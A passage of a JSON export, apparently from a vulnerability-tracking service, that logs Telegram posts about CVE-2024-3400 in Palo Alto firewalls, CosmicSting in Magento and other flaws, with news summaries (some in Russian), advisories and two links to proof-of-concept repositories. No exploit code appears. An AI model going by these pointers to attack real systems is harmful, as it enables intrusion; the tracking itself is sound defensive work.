\u043e\u0440\u0433\u0430\u043d\u0438\u0437\u0430\u0446\u0438\u0439, \u0431\u0430\u0437\u0438\u0440\u0443\u044e\u0449\u0438\u0445\u0441\u044f \u0432 \u0421\u0428\u0410.\n\n\u041d\u0435\u0441\u043c\u043e\u0442\u0440\u044f \u043d\u0430 \u0442\u043e, \u0447\u0442\u043e \u0430\u0442\u0440\u0438\u0431\u0443\u0442\u0438\u0440\u043e\u0432\u0430\u0442\u044c  \u0430\u043a\u0442\u0438\u0432\u043d\u043e\u0441\u0442\u044c TAG-100 \u043d\u0430 \u043e\u0441\u043d\u043e\u0432\u0430\u043d\u0438\u0438 \u0438\u043c\u0435\u044e\u0449\u0438\u0445\u0441\u044f \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442\u043e\u0432 \u043d\u0435 \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u0438\u043b\u043e\u0441\u044c \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u044b\u043c, \u0442\u0430\u0440\u0433\u0435\u0442\u0438\u043d\u0433, \u043f\u043e \u043c\u043d\u0435\u043d\u0438\u044e \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439, \u0443\u043a\u0430\u0437\u044b\u0432\u0430\u044e\u0442 \u043d\u0430 \u043f\u0440\u0438\u043d\u0430\u0434\u043b\u0435\u0436\u043d\u043e\u0441\u0442\u044c \u0433\u0440\u0443\u043f\u043f\u044b \u043a \u043a\u0438\u0442\u0430\u0439\u0441\u043a\u043e\u0439 \u0441\u0442\u043e\u0440\u043e\u043d\u0435.\n\n\u041d\u043e, \u044d\u0442\u043e \u0431\u0430\u0437\u0438\u0440\u0443\u0435\u0442\u0441\u044f \u043b\u0438\u0448\u044c \u043d\u0430 \u043a\u043e\u0444\u0435\u0439\u043d\u043e\u0439 \u0433\u0443\u0449\u0435. \u0422\u0430\u043a \u0447\u0442\u043e \u0431\u0443\u0434\u0435\u043c \u043f\u043e\u0441\u043c\u043e\u0442\u0440\u0435\u0442\u044c.", "creation_timestamp": "2024-07-17T15:00:07.000000Z"}, {"uuid": "ee5899ed-816f-4231-a896-fde2602a65b1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-34102", "type": "exploited", "source": "https://t.me/true_secator/5969", "content": "\u041a\u0430\u043a \u043c\u044b \u0438 \u043f\u0440\u0435\u0434\u043f\u043e\u043b\u0430\u0433\u0430\u043b\u0438, CosmicSting, \u0438\u043c\u0435\u044e\u0449\u0430\u044f \u0432\u044b\u0441\u043e\u043a\u0443\u044e \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u043e\u0441\u0442\u044c \u0438 \u043d\u0438\u0437\u043a\u0443\u044e \u0441\u043b\u043e\u0436\u043d\u043e\u0441\u0442\u044c, \u043c\u043e\u0436\u043d\u043e \u0441 \u0443\u0432\u0435\u0440\u0435\u043d\u043d\u043e\u0441\u0442\u044c\u044e \u0441\u0447\u0438\u0442\u0430\u0442\u044c \u043e\u0434\u043d\u043e\u0439 \u0438\u0437 \u0441\u0430\u043c\u044b\u0445 \u0440\u0430\u0437\u0440\u0443\u0448\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0445 \u0432 \u0438\u0441\u0442\u043e\u0440\u0438\u0438 \u044d\u043b\u0435\u043a\u0442\u0440\u043e\u043d\u043d\u043e\u0439 \u043a\u043e\u043c\u043c\u0435\u0440\u0446\u0438\u0438, \u043d\u0430\u0440\u044f\u0434\u0443 \u0441 Shoplift, Ambionics \u0438 Trojan Order.\n\n\u041a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0441 CVSS: 9,8 \u0431\u044b\u043b\u0430 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0430 \u0432 \u043d\u0430\u0447\u0430\u043b\u0435 \u0438\u044e\u043d\u044f \u0438 \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u0435\u0442 \u043f\u0440\u0438\u043c\u0435\u0440\u043d\u043e \u0442\u0440\u0438 \u0447\u0435\u0442\u0432\u0435\u0440\u0442\u0438 \u0432\u0441\u0435\u0445 \u043c\u0430\u0433\u0430\u0437\u0438\u043d\u043e\u0432 Magento \u0438 Adobe Commerce.\n\n\u041f\u043e\u0441\u043a\u043e\u043b\u044c\u043a\u0443 CosmicSting \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u0441\u0447\u0438\u0442\u0430\u0442\u044c \u043b\u044e\u0431\u043e\u0439 \u0444\u0430\u0439\u043b, \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u043c\u043e\u0433\u0443\u0442 \u0432\u044b\u043a\u0440\u0430\u0441\u0442\u044c\u00a0\u0441\u0435\u043a\u0440\u0435\u0442\u043d\u044b\u0439 \u043a\u043b\u044e\u0447 \u0448\u0438\u0444\u0440\u043e\u0432\u0430\u043d\u0438\u044f\u00a0Magento, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0433\u0435\u043d\u0435\u0440\u0438\u0440\u043e\u0432\u0430\u0442\u044c JSON Web Tokens \u0441 \u043f\u043e\u043b\u043d\u044b\u043c \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u0438\u0432\u043d\u044b\u043c \u0434\u043e\u0441\u0442\u0443\u043f\u043e\u043c \u043a API.\n\n\u041d\u0435\u0441\u043c\u043e\u0442\u0440\u044f \u043d\u0430 \u043e\u0442\u0441\u0443\u0442\u0441\u0442\u0432\u0438\u0435 \u0442\u0435\u0445\u043d\u0438\u0447\u0435\u0441\u043a\u043e\u0433\u043e \u043e\u043f\u0438\u0441\u0430\u043d\u0438\u044f CosmicSting\u00a0(CVE-2024-34102) \u0432 \u0431\u044e\u043b\u043b\u0435\u0442\u0435\u043d\u0435 Adobe, \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u0441\u043c\u043e\u0433\u043b\u0438 \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0430\u0442\u044c \u044d\u0444\u0444\u0435\u043a\u0442\u0438\u0432\u043d\u044b\u0435 \u043c\u0435\u0442\u043e\u0434\u044b \u0434\u043b\u044f \u0430\u0442\u0430\u043a \u0438 \u0442\u0435\u043f\u0435\u0440\u044c \u043f\u0430\u0447\u043a\u0430\u043c\u0438 \u0432\u0437\u043b\u0430\u043c\u044b\u0432\u0430\u044e\u0442 \u0418\u043d\u0442\u0435\u0440\u043d\u0435\u0442-\u043c\u0430\u0433\u0430\u0437\u0438\u043d\u044b.\n\n\u0418\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 SanSec\u00a0\u0441\u043e\u043e\u0431\u0449\u0430\u044e\u0442, \u0447\u0442\u043e\u00a0\u0430\u0442\u0430\u043a\u0438 \u0441 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435\u043c \u044d\u0442\u043e\u0439 \u043e\u0448\u0438\u0431\u043a\u0438 \u043d\u0430\u0447\u0430\u043b\u0438\u0441\u044c \u0432 \u043a\u043e\u043d\u0446\u0435 \u0438\u044e\u043d\u044f \u0438 \u0442\u0435\u043f\u0435\u0440\u044c \u043f\u0435\u0440\u0435\u0448\u043b\u0438 \u0432 \u0444\u0430\u0437\u0435 \u043c\u0430\u0441\u0441\u043e\u0432\u043e\u0439 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438.\n\n\u0422\u0430\u043a, \u043a\u0430\u0436\u0434\u044b\u0439 \u0447\u0430\u0441 \u0432\u0437\u043b\u0430\u043c\u044b\u0432\u0430\u0435\u0442\u0441\u044f \u043e\u0442 \u0442\u0440\u0435\u0445 \u0434\u043e \u043f\u044f\u0442\u0438 \u043c\u0430\u0433\u0430\u0437\u0438\u043d\u043e\u0432, \u0432\u043a\u043b\u044e\u0447\u0430\u044f \u0438 \u043a\u0440\u0443\u043f\u043d\u044b\u0435 \u0431\u0440\u0435\u043d\u0434\u044b.\n\n\u041a\u0430\u043a \u0438 \u0441\u043e\u043e\u0431\u0449\u0430\u043b\u043e\u0441\u044c \u0440\u0430\u043d\u0435\u0435, \u043a\u043b\u0438\u0435\u043d\u0442\u0430\u043c \u043a\u0440\u0430\u0439\u043d\u0435 \u0432\u0430\u0436\u043d\u043e \u043e\u0431\u043d\u043e\u0432\u0438\u0442\u044c\u0441\u044f \u0438\u043b\u0438 \u043f\u0440\u0438\u043c\u0435\u043d\u0438\u0442\u044c\u00a0\u043e\u0444\u0438\u0446\u0438\u0430\u043b\u044c\u043d\u043e\u0435 \u0438\u0437\u043e\u043b\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0435 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0435. \n\n\u041e\u0434\u043d\u0430\u043a\u043e \u043d\u0430 \u0434\u0430\u043d\u043d\u043e\u043c \u044d\u0442\u0430\u043f\u0435 \u043f\u0440\u043e\u0441\u0442\u043e\u0433\u043e \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f CosmicSting, \u0441\u043a\u043e\u0440\u0435\u0435 \u0432\u0441\u0435\u0433\u043e, \u0431\u0443\u0434\u0435\u0442 \u043d\u0435\u0434\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u043e.\n\n\u0423\u043a\u0440\u0430\u0434\u0435\u043d\u043d\u044b\u0439 \u043a\u043b\u044e\u0447 \u0448\u0438\u0444\u0440\u043e\u0432\u0430\u043d\u0438\u044f \u043f\u043e-\u043f\u0440\u0435\u0436\u043d\u0435\u043c\u0443 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u0433\u0435\u043d\u0435\u0440\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0432\u0435\u0431-\u0442\u043e\u043a\u0435\u043d\u044b \u0434\u0430\u0436\u0435 \u043f\u043e\u0441\u043b\u0435 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f, \u0442\u0430\u043a \u0447\u0442\u043e \u043a\u043b\u044e\u0447 \u0448\u0438\u0444\u0440\u043e\u0432\u0430\u043d\u0438\u044f \u0441\u043b\u0435\u0434\u0443\u0435\u0442 \u043f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e \u0441\u0447\u0438\u0442\u0430\u0442\u044c \u0441\u043a\u043e\u043c\u043f\u0440\u043e\u043c\u0435\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u043c.\n\n\u041f\u0440\u0438 \u044d\u0442\u043e\u043c \u0433\u0435\u043d\u0435\u0440\u0430\u0446\u0438\u044f \u043d\u043e\u0432\u043e\u0433\u043e \u043a\u043b\u044e\u0447\u0430 \u0448\u0438\u0444\u0440\u043e\u0432\u0430\u043d\u0438\u044f \u043d\u0435 \u0434\u0435\u043b\u0430\u0435\u0442 \u0441\u0442\u0430\u0440\u044b\u0439 \u043a\u043b\u044e\u0447 \u043d\u0435\u0434\u0435\u0439\u0441\u0442\u0432\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u043c, \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u0435\u0442\u0441\u044f \u0432\u0440\u0443\u0447\u043d\u0443\u044e \u043e\u0431\u043d\u043e\u0432\u0438\u0442\u044c \u0441\u0442\u0430\u0440\u044b\u0439 \u043a\u043b\u044e\u0447 \u0432 app/etc/env.php \u0434\u043e \u043d\u043e\u0432\u043e\u0433\u043e \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u044f, \u0430 \u043d\u0435 \u0443\u0434\u0430\u043b\u044f\u0442\u044c \u0435\u0433\u043e.\n\n\u0418\u043d\u0434\u0438\u043a\u0430\u0442\u043e\u0440\u044b \u043a\u043e\u043c\u043f\u0440\u043e\u043c\u0435\u0442\u0430\u0446\u0438\u0438 \u0438 \u0434\u043e\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0435 \u043c\u0435\u0440\u044b \u043f\u043e \u0437\u0430\u0449\u0438\u0442\u0435 - \u0432 \u0431\u043b\u043e\u0433\u0435 SanSec.", "creation_timestamp": "2024-07-15T16:20:05.000000Z"}, {"uuid": "9fee4a3b-bd58-4486-b09d-84561f1d9b7f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-3400", "type": "seen", "source": "https://t.me/ctinow/215512", "content": "https://ift.tt/BVUsHhY\nXiid SealedTunnel: Unfazed by Yet Another Critical Firewall Vulnerability (CVE-2024-3400)", "creation_timestamp": "2024-04-17T20:21:30.000000Z"}, {"uuid": "dcf44b7e-dd3d-4040-9497-02a3a0f82bdc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-3400", "type": "seen", "source": "https://t.me/ctinow/215503", "content": "https://ift.tt/PsS9408\nXiid SealedTunnel: Unfazed by Yet Another Critical Firewall Vulnerability (CVE-2024-3400)", "creation_timestamp": "2024-04-17T18:26:36.000000Z"}, {"uuid": "9708ab21-f082-42a9-8e82-c09e28405a2c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-3400", "type": "seen", "source": "https://t.me/ctinow/215482", "content": "https://ift.tt/zio4fxp\nCVE-2024-3400 Exploitation", "creation_timestamp": "2024-04-17T16:16:59.000000Z"}, {"uuid": "20d23b26-470c-4137-ba70-e0877f5aab28", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-3400", "type": "seen", "source": "https://t.me/ctinow/215087", "content": "https://ift.tt/KNpojGv\nCVE-2024-3400: What You Need to Know About the Critical PAN-OS Zero-Day - CrowdStrike", "creation_timestamp": "2024-04-14T09:31:50.000000Z"}, {"uuid": "9c8144bb-d4c0-48e6-8d2b-f49edd01920e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-3400", "type": "seen", "source": "https://t.me/ctinow/215073", "content": "https://ift.tt/GupbZMV\nCritical Palo Alto GlobalProtect Vulnerability Exploited (CVE-2024-3400), (Sat, Apr 13th)", "creation_timestamp": "2024-04-13T16:31:38.000000Z"}, {"uuid": "45211547-9168-4023-921e-824f6eb81101", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-3400", "type": "seen", "source": "https://t.me/ctinow/215016", "content": "https://ift.tt/nEPSX8y\nCVE-2024-3400 exploited: Unit 42, Volexity share more details about the attacks", "creation_timestamp": "2024-04-12T21:41:46.000000Z"}, {"uuid": "8b691dec-90bd-4e7f-bca2-5c3b62a5893d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-3400", "type": "seen", "source": "https://t.me/ctinow/214996", "content": "https://ift.tt/UePw3Lu\nPalo Alto Networks Releases Guidance for Vulnerability in PAN-OS, CVE-2024-3400", "creation_timestamp": "2024-04-12T18:31:47.000000Z"}, {"uuid": "10c7c485-c2c3-465d-9c5d-571be6d8aee7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-3400", "type": "seen", "source": "https://t.me/ctinow/214930", "content": "https://ift.tt/eJGh2k9\nPalo Alto Networks firewalls under attack, hotfixes incoming! (CVE-2024-3400)", "creation_timestamp": "2024-04-12T10:31:27.000000Z"}, {"uuid": "11756c56-ba1b-48b5-b30f-fd8eee51e7f8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-3400", "type": "seen", "source": "https://t.me/cyberpoleshuk/202", "content": "", "creation_timestamp": "2026-07-17T05:00:04.583565Z"}, {"uuid": "c75f5021-7321-48a6-b179-3e19d55922ef", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-34406", "type": "seen", "source": "https://t.me/androidMalware/2247", "content": "DoS McAfee VPN app via deeplink\nMcAfee Security: Antivirus VPN for Android before 8.3.0 could allow an attacker to cause a denial of service through the use of a malformed deep link (CVE-2024-34406)\nhttps://www.mcafee.com/support/?articleId=000002403&page=shell&shell=article-view", "creation_timestamp": "2024-06-25T15:28:33.000000Z"}, {"uuid": "f867fd20-d85e-4553-b3e4-d8a25b3dee24", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-3400", "type": "exploited", "source": "https://t.me/theninjaway1337/1525", "content": "State-Sponsored Hackers Exploit Zero-Day to Backdoor Palo Alto Networks Firewalls\n\nA threat actor has successfully exploited a zero-day in Palo Alto Networks firewalls for more than two weeks, malware hunters at Volexity warn.\nPalo Alto Networks disclosed the vulnerability\u00a0on Friday, warning that it was aware of limited in-the-wild exploitation and promising patches within the next two days.\nTracked as\u00a0CVE-2024-3400\u00a0(CVSS score of 10/10), the security defect is described as a command injection issue allowing unauthenticated attackers to execute arbitrary code on impacted firewalls, with root privileges.\n\nhttps://www.securityweek.com/state-sponsored-hackers-exploit-zero-day-to-backdoor-palo-alto-networks-firewalls/", "creation_timestamp": "2024-04-15T00:23:33.000000Z"}, {"uuid": "8a2e9b88-c4a4-4d88-98c4-f3d32626f80b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-34987", "type": "published-proof-of-concept", "source": "https://t.me/Kelvinseccommunity/537", "content": "\ud83d\udea8 CVE-2024-34987\nA SQL Injection vulnerability exists in the ofrs/admin/index.php script of PHPGurukul Online Fire Reporting System 1.2. The vulnerability allows attackers to bypass authentication and gain unauthorized access by injecting SQL commands into the username input field during the login process.\n\nhttps://t.me/Kelvinseccommunity\n\n#poc", "creation_timestamp": "2024-06-04T03:31:49.000000Z"}, {"uuid": "3cd95561-e9aa-4601-980d-c054702a4bd4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-3400", "type": "seen", "source": "https://t.me/theninjaway1337/1523", "content": "CVE-2024-3400 PAN-OS: OS Command Injection Vulnerability in GlobalProtect Gateway\n\nA command injection vulnerability in the GlobalProtect feature of Palo Alto Networks PAN-OS software for specific PAN-OS versions and distinct feature configurations may enable an unauthenticated attacker to execute arbitrary code with root privileges on the firewall.\nFixes for PAN-OS 10.2, PAN-OS 11.0, and PAN-OS 11.1 are in development and are expected to be released by April 14, 2024. Cloud NGFW, Panorama appliances, and Prisma Access are not impacted by this vulnerability. All other versions of PAN-OS are also not impacted.\n\nhttps://security.paloaltonetworks.com/CVE-2024-3400", "creation_timestamp": "2024-04-12T23:43:33.000000Z"}, {"uuid": "4937475d-83fd-419a-aa53-f9ff866c88be", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-3400", "type": "published-proof-of-concept", "source": "https://t.me/HackerOne/3643", "content": "#CVE-2024-3400 #RCE #Palo_Alto_OS\n\nhttps://github.com/W01fh4cker/CVE-2024-3400-RCE\n\nhttps://github.com/h4x0r-dz/CVE-2024-3400", "creation_timestamp": "2024-04-17T10:39:30.000000Z"}, {"uuid": "b4904888-c153-4faf-8283-a2d610eef74c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-3400", "type": "exploited", "source": "https://t.me/information_security_channel/52022", "content": "Siemens Industrial Product Impacted by Exploited Palo Alto Firewall Vulnerability\nhttps://www.securityweek.com/siemens-industrial-product-impacted-by-exploited-palo-alto-firewall-vulnerability/\n\nPalo Alto Networks firewall vulnerability CVE-2024-3400, exploited as a zero-day, impacts a Siemens industrial product.\nThe post Siemens Industrial Product Impacted by Exploited Palo Alto Firewall Vulnerability (https://www.securityweek.com/siemens-industrial-product-impacted-by-exploited-palo-alto-firewall-vulnerability/) appeared first on SecurityWeek (https://www.securityweek.com/).", "creation_timestamp": "2024-04-23T13:04:33.000000Z"}, {"uuid": "210697d4-b407-4255-ba47-56f5bd6f42f3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-34359", "type": "seen", "source": "https://t.me/information_security_channel/52213", "content": "Critical Flaw in AI Python Package Can Lead to System and Data Compromise\nhttps://www.securityweek.com/critical-flaw-in-ai-python-package-can-lead-to-system-and-data-compromise/\n\nA critical vulnerability tracked as CVE-2024-34359 and dubbed Llama Drama can allow hackers to target AI product developers.\nThe post Critical Flaw in AI Python Package Can Lead to System and Data Compromise (https://www.securityweek.com/critical-flaw-in-ai-python-package-can-lead-to-system-and-data-compromise/) appeared first on SecurityWeek (https://www.securityweek.com/).", "creation_timestamp": "2024-05-17T15:53:40.000000Z"}, {"uuid": "15f79ad7-bd12-416d-860e-196c123e18c0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-3400", "type": "exploited", "source": "https://t.me/information_security_channel/52015", "content": "Thousands of Palo Alto Firewalls Potentially Impacted by Exploited Vulnerability\u00a0\nhttps://www.securityweek.com/thousands-of-palo-alto-firewalls-potentially-impacted-by-exploited-vulnerability/\n\nShadowserver has identified roughly 6,000 internet-accessible Palo Alto Networks firewalls potentially vulnerable to CVE-2024-3400.\nThe post Thousands of Palo Alto Firewalls Potentially Impacted by Exploited Vulnerability\u00a0 (https://www.securityweek.com/thousands-of-palo-alto-firewalls-potentially-impacted-by-exploited-vulnerability/) appeared first on SecurityWeek (https://www.securityweek.com/).", "creation_timestamp": "2024-04-22T14:16:05.000000Z"}, {"uuid": "760d6888-0ce9-4a1b-8dc2-6d07e2934128", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-3400", "type": "exploited", "source": "https://t.me/information_security_channel/52052", "content": "Palo Alto Networks Shares Remediation Advice for Hacked Firewalls\nhttps://www.securityweek.com/palo-alto-networks-shares-remediation-advice-for-hacked-firewalls/\n\nPalo Alto Networks has shared remediation instructions for organizations whose firewalls have been hacked via CVE-2024-3400.\nThe post Palo Alto Networks Shares Remediation Advice for Hacked Firewalls (https://www.securityweek.com/palo-alto-networks-shares-remediation-advice-for-hacked-firewalls/) appeared first on SecurityWeek (https://www.securityweek.com/).", "creation_timestamp": "2024-04-25T18:53:59.000000Z"}, {"uuid": "d303000c-4207-4c37-ae11-7232913c3695", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-3400", "type": "exploited", "source": "https://t.me/information_security_channel/51962", "content": "Palo Alto Networks Releases Fixes for Firewall Zero-Day as Attribution Attempts Emerge\nhttps://www.securityweek.com/palo-alto-networks-releases-fixes-for-firewall-zero-day-as-first-attribution-attempts-emerge/\n\nPalo Alto Networks has started releasing hotfixes for the firewall zero-day CVE-2024-3400, which some have linked to North Korea\u2019s Lazarus.\u00a0\nThe post Palo Alto Networks Releases Fixes for Firewall Zero-Day as Attribution Attempts Emerge (https://www.securityweek.com/palo-alto-networks-releases-fixes-for-firewall-zero-day-as-first-attribution-attempts-emerge/) appeared first on SecurityWeek (https://www.securityweek.com/).", "creation_timestamp": "2024-04-15T13:47:13.000000Z"}, {"uuid": "7e35b918-e3f4-4e5a-988a-6b3ef0e31f7e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-3400", "type": "exploited", "source": "https://t.me/information_security_channel/51984", "content": "Exploitation of Palo Alto Firewall Vulnerability Picking Up After PoC Release\nhttps://www.securityweek.com/exploitation-of-palo-alto-firewall-vulnerability-picking-up-after-poc-release/\n\nPalo Alto Networks firewall vulnerability CVE-2024-3400 increasingly exploited after PoC code has been released.\u00a0\nThe post Exploitation of Palo Alto Firewall Vulnerability Picking Up After PoC Release (https://www.securityweek.com/exploitation-of-palo-alto-firewall-vulnerability-picking-up-after-poc-release/) appeared first on SecurityWeek (https://www.securityweek.com/).", "creation_timestamp": "2024-04-17T14:03:40.000000Z"}, {"uuid": "b6f1ee9b-f93c-4c29-9728-ea2bcc9505b8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-3400", "type": "exploited", "source": "https://t.me/thehackernews/4811", "content": "\ud83d\uded1 URGENT - Critical zero-day security vulnerability (CVE-2024-3400) discovered in Palo Alto Networks firewalls. \n \nHackers are already exploiting it in the wild, enabling them \"to execute arbitrary code with root privileges.\" \n \nDetails\ud83d\udc47 https://thehackernews.com/2024/04/zero-day-alert-critical-palo-alto.html", "creation_timestamp": "2024-04-12T11:00:53.000000Z"}, {"uuid": "28fa2a75-a268-4930-b41a-2815fc2752e7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-3400", "type": "exploited", "source": "https://t.me/thehackernews/4815", "content": "Hackers exploited a critical flaw (CVE-2024-3400) in Palo Alto Networks' software weeks before it was discovered. \n\nThey used a Python backdoor, UPSTYLE, to control and conceal commands within firewall files.\n\nRead: https://thehackernews.com/2024/04/hackers-deploy-python-backdoor-in-palo.html", "creation_timestamp": "2024-04-13T10:41:52.000000Z"}, {"uuid": "ca4475bc-42cc-4478-a9bd-cb1f6ef071ac", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-3400", "type": "seen", "source": "https://t.me/thehackernews/4818", "content": "Palo Alto Networks released critical hotfixes to patch a severe vulnerability (CVE-2024-3400) in their PAN-OS firewall software. \n \nThe vulnerability allows unauthenticated attackers to run malicious code with root privileges. \n \nhttps://thehackernews.com/2024/04/palo-alto-networks-releases-urgent.html", "creation_timestamp": "2024-04-15T10:45:02.000000Z"}, {"uuid": "a116c954-e881-40b8-ae01-5c5ca301bd61", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-3400", "type": "seen", "source": "https://t.me/thehackernews/4880", "content": "\ud83c\udd98 Attention, Palo Alto Networks users! \n \nA critical vulnerability (CVE-2024-3400) in PAN-OS could expose your systems to remote code execution attacks. \n \nGood news: Hotfixes and remediation steps available. \n \nRead full advisory: https://thehackernews.com/2024/04/palo-alto-networks-outlines-remediation.html", "creation_timestamp": "2024-04-26T12:48:10.000000Z"}, {"uuid": "68726c33-32fb-444a-a834-b10bcfa24fe4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-3400", "type": "exploited", "source": "https://t.me/thehackernews/5039", "content": "\ud83d\udea8 RedTail cryptocurrency mining malware now exploits a critical Palo Alto Networks firewall flaw (CVE-2024-3400) with a CVSS score of 10.0, making it more dangerous than ever. \n \nLearn more: https://thehackernews.com/2024/05/redtail-crypto-mining-malware.html \n \nEnsure your firewalls are patched and secure!", "creation_timestamp": "2024-05-30T16:42:38.000000Z"}, {"uuid": "dc5caa33-b7a0-4456-996b-28dc56aa907c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-34102", "type": "exploited", "source": "https://t.me/thehackernews/5674", "content": "\ud83d\udea8 A critical vulnerability, CosmicSting (CVE-2024-34102), has hit 5% of Adobe Commerce & Magento stores. \n \n7 hacker groups are injecting malicious scripts. \n \nDetails here: https://thehackernews.com/2024/10/alert-adobe-commerce-and-magento-stores.html \n \nPatching isn\u2019t enough\u2014rotate your encryption 